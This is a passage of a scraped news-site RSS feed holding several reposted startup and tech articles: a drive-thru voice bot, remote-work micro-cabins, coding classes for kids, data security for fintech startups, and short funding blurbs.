"The guests are having fun, and I was shocked at how quickly Tori learned the Louisiana accent," he said in a statement. "Our team members are loving Tori, too, as it reduces workplace stress since they can focus on serving the guest faster while Tori is taking the order."

Today, hundreds of restaurants across the US are using AI-powered bots to take phone and drive-thru orders including Chipotle, Fazoli's, and Domino's. Some are using OpenCity rivals such as Valyant AI and ConverseNow. 

Belsito said, "Covid has been phenomenal" in changing how the restaurant industry thinks about technology.  

"There's been a tremendous shift. The restaurant space has seen a change in the guard. They realize technology can be their friend," Belsito said. 

OpenCity has raised $ 8 million and works with five different brands in about eight states. Backers include Composite Ventures and NXT Ventures.  

"I expect to be in thousands of restaurants next year," Belsito said.

 

Read the original article on Business Insider

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]]> https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/feed/ 0 An LA startup is creating remote tiny cabin sites with offices for startups and company retreats — see inside the $400 a night ‘micro cabins’ https://briefnews.eu/an-la-startup-is-creating-remote-tiny-cabin-sites-with-offices-for-startups-and-company-retreats-see-inside-the-400-a-night-micro-cabins/ https://briefnews.eu/an-la-startup-is-creating-remote-tiny-cabin-sites-with-offices-for-startups-and-company-retreats-see-inside-the-400-a-night-micro-cabins/#respond Sun, 04 Sep 2022 12:07:44 +0000 https://briefnews.eu/an-la-startup-is-creating-remote-tiny-cabin-sites-with-offices-for-startups-and-company-retreats-see-inside-the-400-a-night-micro-cabins/ Find Sanctuary cabin in nature

Jared Chambers, Find Sanctuary

  • Los Angeles startup Find Sanctuary will build sites of "micro-cabins" with offices.
  • The hospitality company is targeting vacationers, C-suite team off-sites, and remote-first companies.
  • Find Sanctuary will open its first site of 40 cabins two hours from Los Angeles in 2023.
Digital detox retreats are so last year.

Find Sanctuary cabin in nature

Jared Chambers, Find Sanctuary

Source: Insider

Now, it's all about learning how to integrate nature into your tech-filled life.

Inside a Find Sanctuary cabin with a window, bed, and wood detailing

Jared Chambers, Find Sanctuary

At least that's what Find Sanctuary — a new Los Angeles-based startup building sites of off-grid "micro-cabins" — believes.

Ladder-like steps below a window

Jared Chambers, Find Sanctuary

Like other cabin-based hospitality companies, Find Sanctuary's tiny homes are designed to be a peaceful escape into nature.

Find Sanctuary cabin in nature

Jared Chambers, Find Sanctuary

But unlike Getaway, AutoCamp, and other brands that use a similar semi-remote "unique stays" model to target short-term vacationers …

A row of Airstream trailers at Autocamp's Joshua Tree location.

Brittany Chang/Insider

… Find Sanctuary's timber cabins are built to sustain remote work and company retreats in an effort to target corporate travelers.

Inside a Find Sanctuary cabin with a window, bed, and wood detailing

Jared Chambers, Find Sanctuary

Sure, the startup could've created an "off-grid" solution for people who desperately need time away from tech.

Ladder-like steps below a window

Jared Chambers, Find Sanctuary

But according to Charlie Hammond, founder and CEO of Find Sanctuary, this isn't mentally sustainable or accessible.

Inside a Find Sanctuary cabin with a window and wood detailing

Jared Chambers, Find Sanctuary

So instead, the startup is building what it believes is a "preventative" option for "holistic access to nature in an attempt to avoid the crisis" of tech-overload and "over-stimulation," he said in a press release …

Find Sanctuary cabin in nature

Jared Chambers, Find Sanctuary

… making the comparison to moderate "healthy" drinking instead of binge drinking after abstaining from alcohol.

Inside a Find Sanctuary cabin with a window, bed, and wood detailing

Jared Chambers, Find Sanctuary

Individual vacationers who aren't looking to work remote are still welcome to book a Find Sanctuary cabin.

Inside a Find Sanctuary cabin with a window and wood detailing, chairs

Jared Chambers, Find Sanctuary

But the startup will also be uniquely focused on curating C-suite team off-sites and creating what it calls a "work-from-the-woods employee benefit model" for primarily remote companies, a spokesperson told Insider in an email.

Inside a Find Sanctuary cabin with a window and shower

Jared Chambers, Find Sanctuary

To do this, the clusters of off-grid "micro cabins" will be anything but disconnected.

Inside a Find Sanctuary cabin

Jared Chambers, Find Sanctuary

Inside, the units have all the typical cabin amenities like a king bed …

Inside a Find Sanctuary cabin with a window, bed, and wood detailing

Jared Chambers, Find Sanctuary

… bathroom, full kitchen, and wood stove.

Inside a Find Sanctuary cabin with bathroom

Jared Chambers, Find Sanctuary

To make it more conducive to working, every unit will also have a desk in front of a window and strong WiFi.

Inside a Find Sanctuary cabin with a window and wood detailing

Jared Chambers, Find Sanctuary

And if a company plans on booking a retreat, its employees can use the private office units, which can accommodate 10 workers.

Inside a Find Sanctuary cabin with a window and wood detailing, chairs

Jared Chambers, Find Sanctuary

Let's not forget the cabins will be surrounded by peaceful nature: After a long work day, travelers can then unwind at the "meditation rock" and hot tub.

Find Sanctuary cabin in nature

Jared Chambers, Find Sanctuary

The startup has yet to launch its first set of cabins but it's already seeing a waitlist of 25 companies interested in booking a Find Sanctuary, according to the press release.

a Find Sanctuary cabin with a window and wood detailing

Jared Chambers, Find Sanctuary

And given its location and emphasis on remote work, it's no surprise most of these interested companies are tech startups in Los Angeles and San Francisco.

A view of the San Francisco skyline, showcasing the Golden Gate Bridge and the Salesforce Tower.
A view of the San Francisco skyline, showcasing the Golden Gate Bridge and the Salesforce Tower.

Dan Kurtzman/Getty Images

Following a pre-seed funding round, the startup now has plans to open a site of 40 cabins in Big Bear, California, a two hour drive from Los Angeles, in 2023. Cabins will start at $ 400 a night.

a Find Sanctuary cabin with a window and wood detailing

Jared Chambers, Find Sanctuary

And in the future, Find Sanctuary will also expand to New York and San Francisco as well. Who knows, maybe someday your corporate retreat will be at a Find Sanctuary cabin as well.

Inside a Find Sanctuary cabin with a window and wood detailing, chairs

Jared Chambers, Find Sanctuary

Read the original article on Business Insider

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]]> https://briefnews.eu/an-la-startup-is-creating-remote-tiny-cabin-sites-with-offices-for-startups-and-company-retreats-see-inside-the-400-a-night-micro-cabins/feed/ 0 Coding For Kids: Getting Started Learning Programming https://briefnews.eu/coding-for-kids-getting-started-learning-programming/ https://briefnews.eu/coding-for-kids-getting-started-learning-programming/#respond Wed, 19 Aug 2020 16:04:39 +0000 https://briefnews.eu/?p=261173

Computer programming is rapidly becoming increasingly popular. In turn, more and more parents want their children to learn coding – and for good reason. According to the Bureau of Labor, median pay for software developers is $103,560 per year, with demand expected to increase by 24% between 2016 and 2026, a growth rate which is significantly faster than that of other occupations. Computer programming also teaches a number of important life skills, like perseverance, algorithmic thinking, and logic. Teaching your kids programming from a young age can set your child up for a lifetime of success.

While programming is offered by a some schools in the US, many schools don’t include regular computer science education or coding classes in their curriculum. When offered, it is usually limited to an introductory level, such as a few classes using Code.org or Scratch. This is mainly because effective education in computer programming generally depends on teachers with ample experience in computer science or engineering.

This is where Juni can help. With instructors from the top computer science universities in the US, Juni students work under the tutelage of instructors who have experience in the same advanced coding languages and tools used at companies like Facebook, Google, and Amazon. Juni’s project-based approach gives students hands-on experience with professional languages like Python, Java, and HTML. The rest of this article addresses some of the most frequently asked questions about coding for kids.

How can I get my child interested in coding?

Tip 1: Make it Fun!

A good way to get your child excited about programming is to make it entertaining! Instead of starting with the traditional, “Hello World” approach to learning programming, intrigue your children with a curriculum that focuses on fun, engaging projects.

Tip 2: Make it Relatable

Children are more likely to stay interested in something that they can relate to. This is easy to do with coding because so many things, from videogames like Minecraft, to movies like Coco, are created with code! Reminding students that they can learn the coding skills necessary to create video games and animation is a great motivator.

Tip 2: Make it Approachable

Introducing programming to young children through lines of syntax-heavy code can make coding seem like a large, unfriendly beast. Starting with a language like Scratch instead, which uses programming with blocks that fit together, makes it easier for kids to focus on the logic and flow of programs.

How do I teach my child to code?

There are a few approaches you can take in teaching kids how to code. Private classes with well-versed instructors are one of the most conducive ways to not only expose your kids to programming and proficiently develop your children’s coding skills, but also sustain their interest in the subject.

At Juni, we offer private online classes for students ages 5-18 to learn to code at their own pace and from the comfort of their own homes.

Via video conference, our students and instructors share a screen. This way, the instructor is with them every step of the way. The instructor first begins by reviewing homework from the last class and answering questions. Then, the student works on the day’s coding lesson.

The instructor can take control of the environment or annotate the screen — this means the instructor can type out examples, help students navigate to a particular tool, or highlight where in the code the student should look for errors — all without switching seats. Read more about the experience of a private coding class with Juni.

We have designed a curriculum that leans into each student’s individual needs. We chose Scratch as the first programming language in our curriculum because its drag-and-drop coding system makes it easy to get started, focusing on the fundamental concepts. In later courses, we teach Python, Java, Web Development, AP Computer Science A, and a training program for the USA Computing Olympiad. We even have Juni Jr. for students ages 5-7.

Other Options: Coding Apps and Coding Games

There are a number of coding apps and coding games that children can use to get familiar with coding material. While these don’t have the same results as learning with an instructor, they are a good place to start.

Code.org has been featured by Hour of Code, and it is used by public schools to teach introductory computer science. Code.org’s beginner modules use a visual block interface, while later modules use a text-based interface. Code.org has partnered with Minecraft and Star Wars, often yielding themed projects.

Codeacademy is aimed at older students who are interested in learning text-based languages. Coding exercises are done in the browser, and have automatic accuracy-checking. This closed platform approach prevents students from the full experience of creating their own software, but the curriculum map is well thought out.

Khan Academy is an online learning platform, designed to provide free education to anyone on the internet. Khan Academy has published a series on computer science, which teaches JavaScript basics, HTML, CSS, and more. There are video lessons on a number of topics, from web page design to 2D game design. Many of the tutorials have written instructions rather than videos, making them better suited for high school students.

What is the best age to start learning to code?

Students as young as 5 years old can start learning how to code. At this age, we focus on basic problem solving and logic, while introducing foundational concepts like loops and conditionals. It is taught using kid-friendly content that is interesting as well as projects that involve creativity and an interface that isn’t as syntax-heavy. At ages 5-10, students are typically learning how to code using visual block-based interfaces.

What are the best programming languages for kids?

With young students (and even older students), a good place to start building programming skills is a visual block-based interface, such as Scratch. This allows students to learn how to think through a program and form and code logical steps to achieve a goal without having to learn syntax (i.e. worrying about spelling, punctuation, and indentation) at the same time.

When deciding on text-based languages, allow your child’s interests to guide you. For example, if your child is interested in creating a website, a good language to learn would be HTML. If they want to code up a game, they could learn Python or Java.

What kind of computer does my child need to learn to code?

This depends on your child’s interests, your budget, and the approach you would like to take. Many online coding platforms, like repl.it, are web-based and only require a high-speed internet connection. Web-based platforms do not require computers with much processing power, which means that they can be run on nearly any computer manufactured within the last few years. Higher-level programming using professional tools requires a Mac, PC, or Linux with a recommended 4G of RAM along with a high-speed internet connection.

Why should kids learn to code?

Reason 1: Learning to code builds resilience and creativity

Coding is all about the process, not the outcome.

The process of building software involves planning, testing, debugging, and iterating. The nature of coding involves checking things, piece by piece, and making small improvements until the product matches the vision. It’s okay if coders don’t get things right on the first attempt. Even stellar software engineers don’t get things right on the first try! Coding creates a safe environment for making mistakes and trying again.

Coding also allows students to stretch their imagination and build things that they use every day. Instead of just playing someone else’s video game, what if they could build a game of their own? Coding opens the doors to endless possibilities.

Reason 2: Learning to code gives kids the skills they need to bring their ideas to life

Coding isn’t about rote memorization or simple right or wrong answers. It’s about problem-solving. The beautiful thing about learning to problem solve is, once you learn it, you’re able to apply it across any discipline, from engineering to building a business.

Obviously students who learn computer science are able to build amazing video games, apps, and websites. But many students report that learning computer science has boosted their performance in their other subjects, as well. Computer science has clear ties to math, and has interdisciplinary connections to topics ranging from music to biology to language arts.

Learning computer science helps develop computational thinking. Students learn how to break down problems into manageable parts, observe patterns in data, identify how these patterns are generated, and develop the step-by-step instructions for solving those problems.

Reason 3: Learning to code prepares kids for the economy of the future

According to WIRED magazine, by 2020 there will be 1 million more computer science-related jobs than graduating students qualified to fill them. Computer science is becoming a fundamental part of many cross-disciplinary careers, including those in medicine, art, engineering, business, and law.

Many of the most innovative and interesting new companies are tackling traditional careers with new solutions using software. Software products have revolutionized industries, from travel (Kayak, AirBnB and Uber) to law (Rocket Lawyer and LegalZoom). Computing is becoming a cornerstone of products and services around the world, and getting a head start will give your child an added advantage.

Many leading CEOs and founders have built amazing companies after studying computer science. Just take a look at the founders of Google, Facebook, and Netflix!

Career Paths

Although computer science is a rigorous and scientific subject, it is also creative and collaborative. Though many computer scientists simply hold the title of Software Engineer or Software Developer, their scope of work is very interesting. Here is a look at some of the work that they do:

  • At Facebook, engineers built the first artificial intelligence that can beat professional poker players at 6-player poker.
  • At Microsoft, computer programmers built Seeing AI, an app that helps blind people read printed text from their smartphones.

Computer scientists also work as data scientists, who clean, analyze, and visualize large datasets. With more and more of our world being encoded as data in a server, this is a very important job. For example, the IRS uncovered $10 billion worth of tax fraud using advanced data analytics and detection algorithms. Programmers also work as video game developers. They specialize in building fun interactive games that reach millions of people around the world, from Fortnite to Minecraft.

All of these career paths and projects require cross-functional collaboration among industry professionals that have a background in programming, even if they hold different titles. Some of these people may be software engineers, data scientists, or video game designers, while others could be systems analysts, hardware engineers, or database administrators. The sky is the limit!

How can you get your kids started on any of these paths? By empowering them to code! Juni can help your kids get set up for a successful career in computer science and beyond. Our founders both worked at Google and developed Juni’s curriculum with real-world applications and careers in mind.

Coding for Kids is Important

Coding for kids is growing in popularity, as more and more families recognize coding as an important tool in the future job market. There is no “one-size-fits-all” for selecting a programming course for students. At Juni, our one-on-one classes allow instructors to tailor a course to meet a student’s specific needs. By learning how to code, your kids will not only pick up a new skill that is both fun and academic, but also gain confidence and learn important life skills that will serve them well in whatever career they choose.

This article originally appeared on junilearning.com

]]> https://briefnews.eu/coding-for-kids-getting-started-learning-programming/feed/ 0 Data Security Solutions for Fintech Startups https://briefnews.eu/data-security-solutions-for-fintech-startups/ https://briefnews.eu/data-security-solutions-for-fintech-startups/#respond Mon, 18 Nov 2019 08:23:46 +0000 http://briefnews.eu/?p=256414

The fintech sector has brought consumers an endless stream of modern offerings that have enabled them to ditch several outdated banking and lending products.

Companies now have advanced B2B payment solutions at their fingertips, and online financial solutions have never been more convenient – largely thanks to the progress made by fintech startups.

But, despite being on the cutting edge of digital financial products, young fintech companies are at a disadvantage in a wildly important arena: data security.

With limited resources, growing compliance regulations around the world, and a constantly-evolving list of increasingly dangerous cyber threats, fintech startups face a uniquely difficult uphill battle.

And, with data breaches continuing to leer as an ever-present security threat, fintech firms are turning to new and advanced approaches to data privacy.

But, first, what do we mean when we talk about data security for startups?

What is Data Security?

Data security is the process of protecting digital assets – like information stored in a database – from unauthorized access by unapproved actors.

When we refer to data security, we’re simply talking about the set of standards and technologies that protect your business’ data. These days, data security is a fundamental aspect of IT at any modern organization.

From encryption and tokenization to cloud storage, data security technologies run a wide spectrum – and a number of advances have been made in recent years. This progress has been in response to, though not quite as speedy as, the growing sophistication of large-scale cybersecurity threats – like data breaches.

In the healthcare sector, for example, Black Book Market Research found that 96% of healthcare IT professionals agreed that data security attackers are outpacing their medical enterprises.

Healthcare data breaches will cost the industry $4 billion by the end of the year. Next year, by Black Book’s estimates, will be even worse.

And that’s just the healthcare sector.

Organizations from all industries are vulnerable to data breaches – especially in the age of ID verification, endless online payment methods and 1-click purchasing.

Even multinational tech giants have fallen prey, in extremely public ways. Yahoo just reached a $117.5 million class-action settlement with the victims of its infamous 2016 data breach.

That announcement came on the heels of a $700 million settlement that Equifax reached to deal with the aftermath of a 2017 data leak that exposed the Social Security numbers of almost 150 million consumers.

We could keep going down the list – data breaches happen, and they happen to organizations with ample resources invested in information security.

What about smaller organizations?

The Importance of Cyber Security in Fintech

Financial technology companies have revolutionized the way that consumers bank, how startups reach their customers and how businesses all over the world can run more smoothly.

Fintech investments took off in the past five years – providing us with simple alternatives to slow, conventional financial solutions.

Advances in the industry has brought us instant P2P payments, purely-online banking, seamless B2B solutions, innovative lending approaches and products that many businesses and consumers can’t even imagine living without at this point.

But the global fintech ecosystem’s consistent growth, potency and complexity make it inescapable that some solutions won’t be secure enough to guard against sensitive data exposure. It’s likely that these vulnerabilities will keep getting identified by attackers, then exploited.

This is a harsh reality that modern businesses are realizing – and starting to invest against.

We can see this when we look at application security spending. Businesses are pouring money into protecting their applications and the data flowing through them.

According to Market Research Future (MRFR), the worldwide application security market is expected to reach a staggering $9.64 billion by 2023 – up from just $2.56 billion in 2017. That’s an annual growth rate (CAGR) of 24.95%.

Within this market, SMEs are estimated to be the fastest growing investors in application security, when broken down by type of organization.

Unfortunately, when it comes to data privacy and protecting sensitive information, fintech startups face a unique set of challenges that make growing their core business an even more difficult endeavor than it already is.

Data Security Challenges Faced by Fintech Startups

In the world of securing sensitive data and avoiding data breaches, younger organizations in the fintech space have it especially hard.

Why is that so?

  1. Reliance on sensitive user information

These days, fintech and data analytics go hand-in-hand. From robo advisors to AI-powered saving apps, data-driven technologies have been at the heart of the fintech revolution.

With fintech products deeply intertwined in modern retail banking, asset and wealth management, capital markets and insurance, organizations in this space are inevitably going to have to handle and store sensitive information from your users.

From ID verification to processing credit card payments, large volumes of sensitive data will make its way onto the databases of fintech organizations. The mere possession of such sensitive consumer information puts them both at risk of sensitive data exposure and places them within the scope of any number of data privacy laws.

  1. New, updating and evolving data privacy laws

The nature of how fintech startups do business make it so that a lot of sensitive data hits their systems, which attracts the interest of government regulators – who are increasingly focused on protecting consumer data.

In the last few years, governmental regulatory institutions around the globe have started to take greater steps in protecting the rights of consumers when it comes to their personal information.

From Europe’s General Data Protection Regulation (GDPR), effective since 2018, to the soon-to-be-implemented California Consumer Protection Act (CCPA), businesses are suddenly needing to juggle compliance certifications for new regulatory frameworks.

Not only that, but fintech companies that accept or process credit card transactions have already been saddled with the burden of needing to maintain compliance with PCI DSS – a set of requirements that are aimed at preventing credit card fraud.

  1. Limited resources for securing personal data

To successfully prevent data breaches and – simultaneously – meet the complex requirements set forth by legal frameworks like the GDPR, the CCPA and PCI DSS, you’re going to need a team of information security experts and compliance specialists that can create data flow maps, secure your networks and sensitive data storage solutions, ensure that you’re meeting regularly compliance rules… the list goes on.

Conglomerates have the resources to put towards a large-scale data security effort, but fintech startups have much less at their disposal.

  1. Increasingly sophisticated cyber threats

As mentioned above, even some of the most widely-recognized tech brands have suffered from data breaches. From increasingly sneaky malware to highly-targeted phishing attacks, which skyrocketed 250% higher last year, there are simply too many ways for threat actors to gain access.

It just takes one team member on the wrong end of a phishing campaign to trigger a sensitive data exposure event – which can ruin a startup-stage business overnight.

And it’s not just unauthorized malicious actors that fintech startups need to be worried about, as there are threats coming from all angles – even some unexpected ones.

According to Verizon’s Insider Threat Report, 57% of database breaches involved some kind of insider threat from within an organization. Add that to the possibility of accidental sensitive data sharing and ransomware attacks, and covering all your bases becomes a costly and complex endeavor.

Modern Fintech Data Security: Trends and New Innovations

Thankfully, advances in the realm of data security have sprung up in recent years, helping relieve much of this pressure faced by fintech startups that need to secure their sensitive data.

From tokenization to data encryption, fintechs have employed a number of tried-and-true data security methods. Even with innovative approaches like these, however, data breaches are still a probable threat.

If sensitive data is stored in your database, there is a chance it will be exposed, and there are several avenues through which this could happen.

Fortunately, VGS has been securing fintech startups’ sensitive data for years using a next-generation data security approach that enables businesses to evade storing sensitive information on their systems altogether – while still enabling businesses to reap all the benefits of the original data.

This approach is called data aliasing, which is a technique that redacts sensitive information in real-time and replaces it with a synthetic data alias, enabling organizations to offload their data security responsibilities entirely by keeping the original data off their systems.

Businesses simply put their data security burden in the hands of VGS, which takes care of all sensitive data collection, storage and transfer on their behalf.

With their systems significantly freed from sensitive data, businesses’ data security and compliance scope is drastically minimized – enabling them to spend time focusing on innovating their products instead of designing a complex data privacy policy.

 

This article was originally posted on Very Good Security.

]]> https://briefnews.eu/data-security-solutions-for-fintech-startups/feed/ 0 Softbank Invests $1B in Robo-Delivery Startup Nuro https://briefnews.eu/softbank-invests-1b-in-robo-delivery-startup-nuro/ https://briefnews.eu/softbank-invests-1b-in-robo-delivery-startup-nuro/#respond Tue, 12 Feb 2019 09:46:16 +0000 http://briefnews.eu/softbank-invests-1b-in-robo-delivery-startup-nuro/ So get ready to see a lot more of the company’s toaster-inspired, human-free robots roaming the street, delivering groceries.


https://media.wired.com/photos/5c61ce00e5f39c49bc338d3d/master/pass/Nuro-transpo-2.jpg

]]> https://briefnews.eu/softbank-invests-1b-in-robo-delivery-startup-nuro/feed/ 0 The Phone Number Ashton Kutcher Tweeted Comes From a Startup https://briefnews.eu/the-phone-number-ashton-kutcher-tweeted-comes-from-a-startup/ https://briefnews.eu/the-phone-number-ashton-kutcher-tweeted-comes-from-a-startup/#respond Wed, 30 Jan 2019 07:52:02 +0000 http://briefnews.eu/the-phone-number-ashton-kutcher-tweeted-comes-from-a-startup/ If you tried to text Ashton Kutcher today, you were prompted to sign up for a new messaging service called Community.


https://media.wired.com/photos/5c510827bf8f101be175cf1e/master/pass/Culture_Ashton-Kutcher-1033001810.jpg

]]> https://briefnews.eu/the-phone-number-ashton-kutcher-tweeted-comes-from-a-startup/feed/ 0 European mobile banking startup N26 raises $300 million for belated U.S. launch https://briefnews.eu/european-mobile-banking-startup-n26-raises-300-million-for-belated-u-s-launch/ https://briefnews.eu/european-mobile-banking-startup-n26-raises-300-million-for-belated-u-s-launch/#respond Thu, 10 Jan 2019 08:15:02 +0000 http://briefnews.eu/european-mobile-banking-startup-n26-raises-300-million-for-belated-u-s-launch/

Germany-based mobile banking startup N26 has raised $ 300 million in a series D round of funding, as it gears up to launch in the U.S.Read More

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